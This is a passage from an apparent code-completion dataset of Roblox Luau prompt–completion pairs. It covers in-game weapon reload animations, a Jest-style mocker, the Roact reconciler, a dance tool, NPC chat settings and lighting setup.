objs[7]:FindFirstChild(\"WeldConstraint\")~= nil then\n\t\t\t\tobjs[7].WeldConstraint:Destroy()\n\t\t\tend\n\n\t\t\tobjs[4].Part1 = objs[5].Handle\n\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, -0.465, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.1,-0.15,-1.115) * CFrame.Angles(math.rad(-110),math.rad(25),math.rad(0))}):Play()\n\t\t\twait(0.3)\t\n\t\t\tobjs[5].Bolt:WaitForChild(\"SlideRelease\"):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.15),{C1 = CFrame.new(0.1,-0.15,-1.025) * CFrame.Angles(math.rad(-100),math.rad(30),math.rad(0))}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Bolt\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Slide\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\twait(0.15)\n\t\tend;\n\t\t\n\t\tCheckAnim = function(char, speed, objs)\n\t\t\tif objs[10]:FindFirstChild(\"WeldConstraint\")~= nil then\n\t\t\t\tobjs[10].WeldConstraint:Destroy()\n\t\t\tend\n\n\t\t\tobjs[4].Part1 = objs[5].Handle\n\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\twait(.35)\n\t\t\tlocal MagC = objs[5]:WaitForChild(\"Mag\"):clone()\n\t\t\t\tobjs[5].Mag.Transparency = 1\n\t\t\t\tMagC.Parent = objs[5]\n\t\t\t\tMagC.Name = \"MagC\"\n\t\t\t\tMagC.Transparency = 0\t\t\t\n\n\t\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\t\t\tMagCW.Part0 = MagC\n\t\t\t\tMagCW.Part1 = objs[3].Parent.Parent:WaitForChild(\"Left Arm\")\n\t\t\t\tMagCW.Parent = MagC\n\t\t\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild(\"Left Arm\").CFrame)\n\t\t\tts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\tobjs[5].Handle:WaitForChild(\"MagOut\"):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play()\n\t\t\twait(1.5)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\tobjs[5].Handle:WaitForChild(\"MagIn\"):Play()\n\t\t\tMagC:Destroy()\n\t\t\tobjs[5].Mag.Transparency = 0\t\n\t\t\twait(0.3)\n\t\tend;\n\t\t\n\t\tShellInsertAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()\n\t\t\twait(0.3)\n\t\t\tobjs[5].Handle:WaitForChild(\"ShellInsert\"):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()\n\t\t\tobjs[6].Value = objs[6].Value - 1\n\t\t\tobjs[7].Value = objs[7].Value + 1\n\t\t\twait(0.3)\n\t\tend;\n\t\t\n\t\tReloadAnim = function(char, speed, objs)\n\t\t\tif objs[10]:FindFirstChild(\"WeldConstraint\")~= nil then\n\t\t\t\tobjs[10].WeldConstraint:Destroy()\n\t\t\tend\n\n\t\t\tobjs[4].Part1 = objs[5].Handle\n\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\twait(0.3)\t\n\t\t\tts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-0.875, 0, -1.35) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.6),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()\n\t\t\tobjs[5].Mag.Transparency = 1\n\t\t\tobjs[5].Handle:WaitForChild(\"MagOut\"):Play()\n\t\t\t\n\t\t\tlocal MagC = objs[5]:WaitForChild(\"Mag\"):clone()\n\t\t\t\tMagC.Parent = objs[5]\n\t\t\t\tMagC.Name = \"MagC\"\n\t\t\t\tMagC.Transparency = 0\t\t\t\n\n\t\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\t\t\tMagCW.Part0 = MagC\n\t\t\t\tMagCW.Part1 = objs[3].Parent.Parent:WaitForChild(\"Left Arm\")\n\t\t\t\tMagCW.Parent = MagC\n\t\t\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild(\"Left Arm\").CFrame)\n\t\t\tts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play()\n\t\t\t\n\n\t\t\twait(1)\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\twait(0.4)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.1),{C1 = CFrame.new(-0.875, 0, -1.125) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()\n\t\t\tobjs[5].Handle:WaitForChild(\"MagIn\"):Play()\n\t\t\tMagC:Destroy()\n\t\t\tobjs[5].Mag.Transparency = 0\t\n\n\t\t\twait(0.1)\n\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)\t\n\n\t\t\tif (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then\n\t\t\t\tobjs[7].Value = objs[7].Value + objs[6].Value\n\t\t\t\tobjs[6].Value = 0\n\t\t\t\t--Evt.Recarregar:FireServer(objs[5].Value)\n\n\t\t\telseif objs[7].Value <= 0 then\n\t\t\t\tobjs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)\n\t\t\t\t--Evt.Recarregar:FireServer(objs[5].Value)\n\t\t\t\tobjs[7].Value = objs[8].Ammo\n\t\t\t\tobjs[9] = false\n\n\t\t\telseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then\n\t\t\t\tobjs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1\n\t\t\t\t--objs[10].Recarregar:FireServer(objs[6].Value)\n\t\t\t\tobjs[7].Value = objs[8].Ammo + 1\n\n\t\t\telseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then\n\t\t\t\tobjs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)\n\t\t\t\t--Evt.Recarregar:FireServer(objs[5].Value)\n\t\t\t\tobjs[7].Value = objs[8].Ammo\n\t\t\tend\n\t\t\twait(0.55)\n\t\tend;\n"} +{"prompt": "-- ROBLOX TODO: type as fn(implementation: (...) -> any): JestMock.Mock once ... syntax is supported", "completion": "\nfunction ModuleMockerClass:fn(implementation)\n\tlocal length = 0\n\tlocal fn = self:_makeComponent({ length = length, type = \"function\" })\n\tif implementation then\n\t\tfn.mockImplementation(implementation)\n\tend\n\n\t-- ROBLOX deviation: fn is a callable table,\n\t-- return a forwarding function as the second return value\n\tlocal function mockFn(...)\n\t\treturn getmetatable(fn).__call(fn, ...)\n\tend\n\n\treturn fn, mockFn\nend\n\nfunction ModuleMockerClass:clearAllMocks()\n\tself._mockState = {}\nend\n\nfunction ModuleMockerClass:resetAllMocks()\n\tself._mockConfigRegistry = {}\n\tself._mockState = {}\nend\n\nfunction ModuleMockerClass:restoreAllMocks()\n\tfor key, value in ipairs(self._spyState) do\n\t\tkey()\n\tend\n\tself._spyState = Set.new()\nend\n"} +{"prompt": "--[[\n\tThe reconciler is the mechanism in Roact that constructs the virtual tree\n\tthat later gets turned into concrete objects by the renderer.\n\n\tRoact's reconciler is constructed with the renderer as an argument, which\n\tenables switching to different renderers for different platforms or\n\tscenarios.\n\n\tWhen testing the reconciler itself, it's common to use `NoopRenderer` with\n\tspies replacing some methods. The default (and only) reconciler interface\n\texposed by Roact right now uses `RobloxRenderer`.\n]]", "completion": "\nlocal function createReconciler(renderer)\n\tlocal reconciler\n\tlocal mountVirtualNode\n\tlocal updateVirtualNode\n\tlocal unmountVirtualNode\n\n\t--[[\n\t\tUnmount the given virtualNode, replacing it with a new node described by\n\t\tthe given element.\n\n\t\tPreserves host properties, depth, and legacyContext from parent.\n\t]]\n\tlocal function replaceVirtualNode(virtualNode, newElement)\n\t\tlocal hostParent = virtualNode.hostParent\n\t\tlocal hostKey = virtualNode.hostKey\n\t\tlocal depth = virtualNode.depth\n\t\tlocal parent = virtualNode.parent\n\n\t\t-- If the node that is being replaced has modified context, we need to\n\t\t-- use the original *unmodified* context for the new node\n\t\t-- The `originalContext` field will be nil if the context was unchanged\n\t\tlocal context = virtualNode.originalContext or virtualNode.context\n\t\tlocal parentLegacyContext = virtualNode.parentLegacyContext\n\n\t\t-- If updating this node has caused a component higher up the tree to re-render\n\t\t-- and updateChildren to be re-entered then this node could already have been\n\t\t-- unmounted in the previous updateChildren pass.\n\t\tif not virtualNode.wasUnmounted then\n\t\t\tunmountVirtualNode(virtualNode)\n\t\tend\n\t\tlocal newNode = mountVirtualNode(newElement, hostParent, hostKey, context, parentLegacyContext)\n\n\t\t-- mountVirtualNode can return nil if the element is a boolean\n\t\tif newNode ~= nil then\n\t\t\tnewNode.depth = depth\n\t\t\tnewNode.parent = parent\n\t\tend\n\n\t\treturn newNode\n\tend\n\n\t--[[\n\t\tUtility to update the children of a virtual node based on zero or more\n\t\tupdated children given as elements.\n\t]]\n\tlocal function updateChildren(virtualNode, hostParent, newChildElements)\n\t\tif config.internalTypeChecks then\n\t\t\tinternalAssert(Type.of(virtualNode) == Type.VirtualNode, \"Expected arg #1 to be of type VirtualNode\")\n\t\tend\n\n\t\tvirtualNode.updateChildrenCount = virtualNode.updateChildrenCount + 1\n\n\t\tlocal currentUpdateChildrenCount = virtualNode.updateChildrenCount\n\n\t\tlocal removeKeys = {}\n\n\t\t-- Changed or removed children\n\t\tfor childKey, childNode in pairs(virtualNode.children) do\n\t\t\tlocal newElement = ElementUtils.getElementByKey(newChildElements, childKey)\n\t\t\tlocal newNode = updateVirtualNode(childNode, newElement)\n\n\t\t\t-- If updating this node has caused a component higher up the tree to re-render\n\t\t\t-- and updateChildren to be re-entered for this virtualNode then\n\t\t\t-- this result is invalid and needs to be disgarded.\n\t\t\tif virtualNode.updateChildrenCount ~= currentUpdateChildrenCount then\n\t\t\t\tif newNode and newNode ~= virtualNode.children[childKey] then\n\t\t\t\t\tunmountVirtualNode(newNode)\n\t\t\t\tend\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\tif newNode ~= nil then\n\t\t\t\tvirtualNode.children[childKey] = newNode\n\t\t\telse\n\t\t\t\tremoveKeys[childKey] = true\n\t\t\tend\n\t\tend\n\n\t\tfor childKey in pairs(removeKeys) do\n\t\t\tvirtualNode.children[childKey] = nil\n\t\tend\n\n\t\t-- Added children\n\t\tfor childKey, newElement in ElementUtils.iterateElements(newChildElements) do\n\t\t\tlocal concreteKey = childKey\n\t\t\tif childKey == ElementUtils.UseParentKey then\n\t\t\t\tconcreteKey = virtualNode.hostKey\n\t\t\tend\n\n\t\t\tif virtualNode.children[childKey] == nil then\n\t\t\t\tlocal childNode = mountVirtualNode(\n\t\t\t\t\tnewElement,\n\t\t\t\t\thostParent,\n\t\t\t\t\tconcreteKey,\n\t\t\t\t\tvirtualNode.context,\n\t\t\t\t\tvirtualNode.legacyContext\n\t\t\t\t)\n\n\t\t\t\t-- If updating this node has caused a component higher up the tree to re-render\n\t\t\t\t-- and updateChildren to be re-entered for this virtualNode then\n\t\t\t\t-- this result is invalid and needs to be discarded.\n\t\t\t\tif virtualNode.updateChildrenCount ~= currentUpdateChildrenCount then\n\t\t\t\t\tif childNode then\n\t\t\t\t\t\tunmountVirtualNode(childNode)\n\t\t\t\t\tend\n\t\t\t\t\treturn\n\t\t\t\tend\n\n\t\t\t\t-- mountVirtualNode can return nil if the element is a boolean\n\t\t\t\tif childNode ~= nil then\n\t\t\t\t\tchildNode.depth = virtualNode.depth + 1\n\t\t\t\t\tchildNode.parent = virtualNode\n\t\t\t\t\tvirtualNode.children[childKey] = childNode\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\n\tlocal function updateVirtualNodeWithChildren(virtualNode, hostParent, newChildElements)\n\t\tupdateChildren(virtualNode, hostParent, newChildElements)\n\tend\n\n\tlocal function updateVirtualNodeWithRenderResult(virtualNode, hostParent, renderResult)\n\t\tif Type.of(renderResult) == Type.Element or renderResult == nil or typeof(renderResult) == \"boolean\" then\n\t\t\tupdateChildren(virtualNode, hostParent, renderResult)\n\t\telse\n\t\t\terror(\n\t\t\t\t(\"%s\\n%s\"):format(\n\t\t\t\t\t\"Component returned invalid children:\",\n\t\t\t\t\tvirtualNode.currentElement.source or \"\"\n\t\t\t\t),\n\t\t\t\t0\n\t\t\t)\n\t\tend\n\tend\n\n\t--[[\n\t\tUnmounts the given virtual node and releases any held resources.\n\t]]\n\tfunction unmountVirtualNode(virtualNode)\n\t\tif config.internalTypeChecks then\n\t\t\tinternalAssert(Type.of(virtualNode) == Type.VirtualNode, \"Expected arg #1 to be of type VirtualNode\")\n\t\tend\n\n\t\tvirtualNode.wasUnmounted = true\n\n\t\tlocal kind = ElementKind.of(virtualNode.currentElement)\n\n\t\t-- selene: allow(if_same_then_else)\n\t\tif kind == ElementKind.Host then\n\t\t\trenderer.unmountHostNode(reconciler, virtualNode)\n\t\telseif kind == ElementKind.Function then\n\t\t\tfor _, childNode in pairs(virtualNode.children) do\n\t\t\t\tunmountVirtualNode(childNode)\n\t\t\tend\n\t\telseif kind == ElementKind.Stateful then\n\t\t\tvirtualNode.instance:__unmount()\n\t\telseif kind == ElementKind.Portal then\n\t\t\tfor _, childNode in pairs(virtualNode.children) do\n\t\t\t\tunmountVirtualNode(childNode)\n\t\t\tend\n\t\telseif kind == ElementKind.Fragment then\n\t\t\tfor _, childNode in pairs(virtualNode.children) do\n\t\t\t\tunmountVirtualNode(childNode)\n\t\t\tend\n\t\telse\n\t\t\terror((\"Unknown ElementKind %q\"):format(tostring(kind)), 2)\n\t\tend\n\tend\n\n\tlocal function updateFunctionVirtualNode(virtualNode, newElement)\n\t\tlocal children = newElement.component(newElement.props)\n\n\t\tupdateVirtualNodeWithRenderResult(virtualNode, virtualNode.hostParent, children)\n\n\t\treturn virtualNode\n\tend\n\n\tlocal function updatePortalVirtualNode(virtualNode, newElement)\n\t\tlocal oldElement = virtualNode.currentElement\n\t\tlocal oldTargetHostParent = oldElement.props.target\n\n\t\tlocal targetHostParent = newElement.props.target\n\n\t\tassert(renderer.isHostObject(targetHostParent), \"Expected target to be host object\")\n\n\t\tif targetHostParent ~= oldTargetHostParent then\n\t\t\treturn replaceVirtualNode(virtualNode, newElement)\n\t\tend\n\n\t\tlocal children = newElement.props[Children]\n\n\t\tupdateVirtualNodeWithChildren(virtualNode, targetHostParent, children)\n\n\t\treturn virtualNode\n\tend\n\n\tlocal function updateFragmentVirtualNode(virtualNode, newElement)\n\t\tupdateVirtualNodeWithChildren(virtualNode, virtualNode.hostParent, newElement.elements)\n\n\t\treturn virtualNode\n\tend\n\n\t--[[\n\t\tUpdate the given virtual node using a new element describing what it\n\t\tshould transform into.\n\n\t\t`updateVirtualNode` will return a new virtual node that should replace\n\t\tthe passed in virtual node. This is because a virtual node can be\n\t\tupdated with an element referencing a different component!\n\n\t\tIn that case, `updateVirtualNode` will unmount the input virtual node,\n\t\tmount a new virtual node, and return it in this case, while also issuing\n\t\ta warning to the user.\n\t]]\n\tfunction updateVirtualNode(virtualNode, newElement, newState)\n\t\tif config.internalTypeChecks then\n\t\t\tinternalAssert(Type.of(virtualNode) == Type.VirtualNode, \"Expected arg #1 to be of type VirtualNode\")\n\t\tend\n\t\tif config.typeChecks then\n\t\t\tassert(\n\t\t\t\tType.of(newElement) == Type.Element or typeof(newElement) == \"boolean\" or newElement == nil,\n\t\t\t\t\"Expected arg #2 to be of type Element, boolean, or nil\"\n\t\t\t)\n\t\tend\n\n\t\t-- If nothing changed, we can skip this update\n\t\tif virtualNode.currentElement == newElement and newState == nil then\n\t\t\treturn virtualNode\n\t\tend\n\n\t\tif typeof(newElement) == \"boolean\" or newElement == nil then\n\t\t\tunmountVirtualNode(virtualNode)\n\t\t\treturn nil\n\t\tend\n\n\t\tif virtualNode.currentElement.component ~= newElement.component then\n\t\t\treturn replaceVirtualNode(virtualNode, newElement)\n\t\tend\n\n\t\tlocal kind = ElementKind.of(newElement)\n\n\t\tlocal shouldContinueUpdate = true\n\n\t\tif kind == ElementKind.Host then\n\t\t\tvirtualNode = renderer.updateHostNode(reconciler, virtualNode, newElement)\n\t\telseif kind == ElementKind.Function then\n\t\t\tvirtualNode = updateFunctionVirtualNode(virtualNode, newElement)\n\t\telseif kind == ElementKind.Stateful then\n\t\t\tshouldContinueUpdate = virtualNode.instance:__update(newElement, newState)\n\t\telseif kind == ElementKind.Portal then\n\t\t\tvirtualNode = updatePortalVirtualNode(virtualNode, newElement)\n\t\telseif kind == ElementKind.Fragment then\n\t\t\tvirtualNode = updateFragmentVirtualNode(virtualNode, newElement)\n\t\telse\n\t\t\terror((\"Unknown ElementKind %q\"):format(tostring(kind)), 2)\n\t\tend\n\n\t\t-- Stateful components can abort updates via shouldUpdate. If that\n\t\t-- happens, we should stop doing stuff at this point.\n\t\tif not shouldContinueUpdate then\n\t\t\treturn virtualNode\n\t\tend\n\n\t\tvirtualNode.currentElement = newElement\n\n\t\treturn virtualNode\n\tend\n\n\t--[[\n\t\tConstructs a new virtual node but not does mount it.\n\t]]\n\tlocal function createVirtualNode(element, hostParent, hostKey, context, legacyContext)\n\t\tif config.internalTypeChecks then\n\t\t\tinternalAssert(\n\t\t\t\trenderer.isHostObject(hostParent) or hostParent == nil,\n\t\t\t\t\"Expected arg #2 to be a host object\"\n\t\t\t)\n\t\t\tinternalAssert(typeof(context) == \"table\" or context == nil, \"Expected arg #4 to be of type table or nil\")\n\t\t\tinternalAssert(\n\t\t\t\ttypeof(legacyContext) == \"table\" or legacyContext == nil,\n\t\t\t\t\"Expected arg #5 to be of type table or nil\"\n\t\t\t)\n\t\tend\n\t\tif config.typeChecks then\n\t\t\tassert(hostKey ~= nil, \"Expected arg #3 to be non-nil\")\n\t\t\tassert(\n\t\t\t\tType.of(element) == Type.Element or typeof(element) == \"boolean\",\n\t\t\t\t\"Expected arg #1 to be of type Element or boolean\"\n\t\t\t)\n\t\tend\n\n\t\treturn {\n\t\t\t[Type] = Type.VirtualNode,\n\t\t\tcurrentElement = element,\n\t\t\tdepth = 1,\n\t\t\tparent = nil,\n\t\t\tchildren = {},\n\t\t\thostParent = hostParent,\n\t\t\thostKey = hostKey,\n\t\t\tupdateChildrenCount = 0,\n\t\t\twasUnmounted = false,\n\n\t\t\t-- Legacy Context API\n\t\t\t-- A table of context values inherited from the parent node\n\t\t\tlegacyContext = legacyContext,\n\n\t\t\t-- A saved copy of the parent context, used when replacing a node\n\t\t\tparentLegacyContext = legacyContext,\n\n\t\t\t-- Context API\n\t\t\t-- A table of context values inherited from the parent node\n\t\t\tcontext = context or {},\n\n\t\t\t-- A saved copy of the unmodified context; this will be updated when\n\t\t\t-- a component adds new context and used when a node is replaced\n\t\t\toriginalContext = nil,\n\t\t}\n\tend\n\n\tlocal function mountFunctionVirtualNode(virtualNode)\n\t\tlocal element = virtualNode.currentElement\n\n\t\tlocal children = element.component(element.props)\n\n\t\tupdateVirtualNodeWithRenderResult(virtualNode, virtualNode.hostParent, children)\n\tend\n\n\tlocal function mountPortalVirtualNode(virtualNode)\n\t\tlocal element = virtualNode.currentElement\n\n\t\tlocal targetHostParent = element.props.target\n\t\tlocal children = element.props[Children]\n\n\t\tassert(renderer.isHostObject(targetHostParent), \"Expected target to be host object\")\n\n\t\tupdateVirtualNodeWithChildren(virtualNode, targetHostParent, children)\n\tend\n\n\tlocal function mountFragmentVirtualNode(virtualNode)\n\t\tlocal element = virtualNode.currentElement\n\t\tlocal children = element.elements\n\n\t\tupdateVirtualNodeWithChildren(virtualNode, virtualNode.hostParent, children)\n\tend\n\n\t--[[\n\t\tConstructs a new virtual node and mounts it, but does not place it into\n\t\tthe tree.\n\t]]\n\tfunction mountVirtualNode(element, hostParent, hostKey, context, legacyContext)\n\t\tif config.internalTypeChecks then\n\t\t\tinternalAssert(\n\t\t\t\trenderer.isHostObject(hostParent) or hostParent == nil,\n\t\t\t\t\"Expected arg #2 to be a host object\"\n\t\t\t)\n\t\t\tinternalAssert(\n\t\t\t\ttypeof(legacyContext) == \"table\" or legacyContext == nil,\n\t\t\t\t\"Expected arg #5 to be of type table or nil\"\n\t\t\t)\n\t\tend\n\t\tif config.typeChecks then\n\t\t\tassert(hostKey ~= nil, \"Expected arg #3 to be non-nil\")\n\t\t\tassert(\n\t\t\t\tType.of(element) == Type.Element or typeof(element) == \"boolean\",\n\t\t\t\t\"Expected arg #1 to be of type Element or boolean\"\n\t\t\t)\n\t\tend\n\n\t\t-- Boolean values render as nil to enable terse conditional rendering.\n\t\tif typeof(element) == \"boolean\" then\n\t\t\treturn nil\n\t\tend\n\n\t\tlocal kind = ElementKind.of(element)\n\n\t\tlocal virtualNode = createVirtualNode(element, hostParent, hostKey, context, legacyContext)\n\n\t\tif kind == ElementKind.Host then\n\t\t\trenderer.mountHostNode(reconciler, virtualNode)\n\t\telseif kind == ElementKind.Function then\n\t\t\tmountFunctionVirtualNode(virtualNode)\n\t\telseif kind == ElementKind.Stateful then\n\t\t\telement.component:__mount(reconciler, virtualNode)\n\t\telseif kind == ElementKind.Portal then\n\t\t\tmountPortalVirtualNode(virtualNode)\n\t\telseif kind == ElementKind.Fragment then\n\t\t\tmountFragmentVirtualNode(virtualNode)\n\t\telse\n\t\t\terror((\"Unknown ElementKind %q\"):format(tostring(kind)), 2)\n\t\tend\n\n\t\treturn virtualNode\n\tend\n\n\t--[[\n\t\tConstructs a new Roact virtual tree, constructs a root node for\n\t\tit, and mounts it.\n\t]]\n\tlocal function mountVirtualTree(element, hostParent, hostKey)\n\t\tif config.typeChecks then\n\t\t\tassert(Type.of(element) == Type.Element, \"Expected arg #1 to be of type Element\")\n\t\t\tassert(renderer.isHostObject(hostParent) or hostParent == nil, \"Expected arg #2 to be a host object\")\n\t\tend\n\n\t\tif hostKey == nil then\n\t\t\thostKey = \"RoactTree\"\n\t\tend\n\n\t\tlocal tree = {\n\t\t\t[Type] = Type.VirtualTree,\n\t\t\t[InternalData] = {\n\t\t\t\t-- The root node of the tree, which starts into the hierarchy of\n\t\t\t\t-- Roact component instances.\n\t\t\t\trootNode = nil,\n\t\t\t\tmounted = true,\n\t\t\t},\n\t\t}\n\n\t\ttree[InternalData].rootNode = mountVirtualNode(element, hostParent, hostKey)\n\n\t\treturn tree\n\tend\n\n\t--[[\n\t\tUnmounts the virtual tree, freeing all of its resources.\n\n\t\tNo further operations should be done on the tree after it's been\n\t\tunmounted, as indicated by its the `mounted` field.\n\t]]\n\tlocal function unmountVirtualTree(tree)\n\t\tlocal internalData = tree[InternalData]\n\t\tif config.typeChecks then\n\t\t\tassert(Type.of(tree) == Type.VirtualTree, \"Expected arg #1 to be a Roact handle\")\n\t\t\tassert(internalData.mounted, \"Cannot unmounted a Roact tree that has already been unmounted\")\n\t\tend\n\n\t\tinternalData.mounted = false\n\n\t\tif internalData.rootNode ~= nil then\n\t\t\tunmountVirtualNode(internalData.rootNode)\n\t\tend\n\tend\n\n\t--[[\n\t\tUtility method for updating the root node of a virtual tree given a new\n\t\telement.\n\t]]\n\tlocal function updateVirtualTree(tree, newElement)\n\t\tlocal internalData = tree[InternalData]\n\t\tif config.typeChecks then\n\t\t\tassert(Type.of(tree) == Type.VirtualTree, \"Expected arg #1 to be a Roact handle\")\n\t\t\tassert(Type.of(newElement) == Type.Element, \"Expected arg #2 to be a Roact Element\")\n\t\tend\n\n\t\tinternalData.rootNode = updateVirtualNode(internalData.rootNode, newElement)\n\n\t\treturn tree\n\tend\n\n\treconciler = {\n\t\tmountVirtualTree = mountVirtualTree,\n\t\tunmountVirtualTree = unmountVirtualTree,\n\t\tupdateVirtualTree = updateVirtualTree,\n\n\t\tcreateVirtualNode = createVirtualNode,\n\t\tmountVirtualNode = mountVirtualNode,\n\t\tunmountVirtualNode = unmountVirtualNode,\n\t\tupdateVirtualNode = updateVirtualNode,\n\t\tupdateVirtualNodeWithChildren = updateVirtualNodeWithChildren,\n\t\tupdateVirtualNodeWithRenderResult = updateVirtualNodeWithRenderResult,\n\t}\n\n\treturn reconciler\nend\n\nreturn createReconciler\n"} +{"prompt": "-- Check1 done!", "completion": "\n\nlocal Tool = script.Parent;\nlocal dancer = nil\nlocal humanoid = nil\n\nenabled = true\n\n\nfunction onActivated()\n\tif not enabled then\n\t\treturn\n\tend\n\n\tenabled = false\n\thumanoid = Tool.Parent:FindFirstChild(\"Humanoid\")\n\t\n\tdancer = humanoid:LoadAnimation(script.lol)\n\tdancer:Play()\n\tTool.Handle.overworld:Play()\n\tTool.Handle.overworld.TimePosition = 1\n\nend\n\nfunction onEquipped()\n\t--Tool.Handle.EquipSound:play()\nend\n\nfunction onUnequipped()\n\t--Tool.Handle.EquipSound:stop()\n\tenabled = true\n\tif dancer ~= nil then\n\t\tTool.Handle.switchh:Stop()\n\t\tTool.Handle.overworld:Stop()\n\t\tdancer:Stop()\n\tend\nend\n\nTool.Activated:connect(onActivated)\nTool.Equipped:connect(onEquipped)\nTool.Unequipped:connect(onUnequipped)\n"} +{"prompt": "--Properties", "completion": "\nlocal NPC = script.Parent.Parent -- who is talking (in this case workspace.NPC)\nlocal CC = Enum.ChatColor.Red -- you can change the NPC'S chat color to Red to Blue, Green or White\nlocal waittime = 2 -- time you have to wait for the NPC's reply\nlocal playerchat = \"who\" -- what the player will chat for the NPC to reply\n\n"} +{"prompt": "-- A state object whose value is derived from other objects using a callback.", "completion": "\nexport type Computed = PubTypes.Computed & {\n\t_oldDependencySet: Set,\n\t_callback: () -> T,\n\t_value: T\n}\n"} +{"prompt": "--Choose the RGB color you want!", "completion": "\nBackgroundcolor = Color3.new(0,0,0)\nTextcolor = Color3.new(0,100,255)"} +{"prompt": "--//# Lighting Setup", "completion": "\n\nfunction SetupLighting_()\n\t--//# Instances\n\t\n\t--//# Camera\n\tlocal ColorCorrection = Instance.new(\"ColorCorrectionEffect\")\n\tlocal SunRays = Instance.new(\"SunRaysEffect\")\n\tlocal Blur = Instance.new(\"BlurEffect\")\n\t\n\t--//# Sky\n\tlocal Atmosphere = Instance.new(\"Atmosphere\")\n\tlocal Sky = Instance.new(\"Sky\")\n\tlocal Clouds = Instance.new(\"Clouds\")\n\t\n\t--//# Set\n\tLighting.Brightness = 1\n\tLighting.EnvironmentDiffuseScale = .2\n\tLighting.EnvironmentSpecularScale = .82\n\tSunRays.Parent = 